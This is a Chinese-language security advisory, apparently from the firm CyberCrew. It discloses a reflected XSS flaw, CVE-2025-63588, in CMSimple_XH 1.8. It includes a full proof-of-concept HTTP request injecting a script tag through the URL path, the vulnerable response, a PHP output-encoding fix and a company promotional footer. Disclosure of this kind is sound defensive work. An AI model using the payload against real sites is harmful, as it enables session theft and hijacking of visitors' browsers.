预估 CVSS v3.1 评分: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N → 6.1(中危)
分配的 CVE: CVE-2025-63588
受影响产品: CMSimple_XH - 1.8
厂商: CMSimple_XH - https://www.cmsimple-xh.org/
CMSimple_XH 处理动态登录相关输入的前端路由解析代码中存在一个反射型跨站脚本(XSS)漏洞。该应用程序将从请求 URI 中获取的攻击者可控数据直接反射到生成的 HTML 中(例如表单 action 属性和锚点 hrefs),而没有进行适当的输出编码。攻击者可以构造一个 URL,当受害者访问该 URL 时,任意 JavaScript 将在受害者的浏览器中、以该易受攻击站点的上下文执行。
这是反射型 XSS(非持久性);利用该漏洞需要受害者点击特制的链接。厂商已被告知,该问题已被记录并分配了上述 CVE。
HttpOnly,会话令牌可能会被窃取。该漏洞源于前端路由器 / index.php(或等效前端控制器)的代码,该代码解析动态路径段并将其映射到页面/模板变量。原始路径片段(CMSimple_XH 路由器使用的 ?Templates... 样式片段)被传递给页面模板并注入到 HTML 属性中,但没有进行适当的 HTML 属性编码或净化,从而使得注入的 <script> 标签或其他载荷能够被原样渲染。类似的反射型 XSS 问题也已在其他 Web 组件中被披露,通常是由对不可信输入的错误输出编码引起的。
此 PoC 演示了攻击者提供的输入被反射到返回的 HTML 中,并将在受害者的浏览器中执行。
请求:
POST /cmsimplexh/?Templatesx6l81"><script>alert(1)</script>y92q9 HTTP/1.1
Host: 192.168.98.129:8080
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0
Origin: http://192.168.98.129:8080
Upgrade-Insecure-Requests: 1
Referer: http://192.168.98.129:8080/cmsimplexh/?Templates&login
Content-Type: application/x-www-form-urlencoded
Sec-CH-UA: "Chromium";v="138", "Not;A=Brand";v="24", "Google Chrome";v="138"
Sec-CH-UA-Platform: "Windows"
Sec-CH-UA-Mobile: ?0
Content-Length: 45
login=true&keycut=z9U%21q2k%21F0&submit=Login
响应:
HTTP/1.1 200 OK
Host: 192.168.98.129:8080
Date: Mon, 06 Oct 2025 02:50:49 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Set-Cookie: XH_2f636d73696d706c6578682f=v7hkld81biddtmoua1maptd18a; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Language: en
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html;charset=UTF-8">
<title>English Site Title – Login</title>
<meta name="robots" content="noindex">
<meta name="keywords" content="Enter list of comma separated keywords here">
<meta name="description" content="Enter website description for search engine results here">
<link rel="stylesheet" href="./assets/css/xhstyles.css" type="text/css">
<link rel="stylesheet" href="./templates/fhs-simple-2019/stylesheet.css" type="text/css">
<meta name="robots" content="noindex">
</head>
<body class="xh_login" onload="document.forms['login'].elements['keycut'].focus();">
<div class="xh_login"><h1>Login</h1><p class="xh_fail">You have entered a wrong password!</p><p><b>Site administration. Please enter password.</b></p><form id="login" name="login" action="/cmsimplexh/?Templatesx6l81"><script>alert(1)</script>y92q9" method="post"><input type="hidden" name="login" value="true"><input type="password" name="keycut" id="passwd" value=""> <input type="submit" name="submit" id="submit" value="Login"></form><p><a href="https://github.com/cybercrewinc/cve-2025-63588/blob/main/cmsimplexh?Templatesx6l81"><script>alert(1)</script>y92q9">Back</a></p> </div></body>
</html>
当受害者的浏览器渲染此页面时,注入的 <script>alert(1)</script> 将执行。

$action_url = '/cmsimplexh/?' . rawurlencode($template_token);
echo '<form action="' . htmlspecialchars($action_url, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') . '" method="post">';
https://github.com/cmsimple-xh/cmsimple-xh/releases https://nvd.nist.gov/vuln/detail/CVE-2025-24576
如有任何疑问或咨询,欢迎随时与我们联系。
📞 电话:03-6853-5823
📧 邮箱:[email protected]
| 项目 | 内容 |
|---|---|
| 公司名称 | 株式会社CyberCrew |
| 所在地 | 东京都千代田区外神田1-18-13 秋叶原DAI大厦6楼 |
从多角度分析组织的漏洞,并提出最优改进方案。
支持定向型、场景型以及 LLM 渗透测试。
尽早检测机密信息的泄露,并迅速响应。
基于实战攻击场景实施防御能力评估。
从开发初期阶段即支持将安全性纳入考量的设计。
🌐 官方网站:https://www.cybercrew.co.jp
🕒 CyberCrew — 您值得信赖的安全合作伙伴。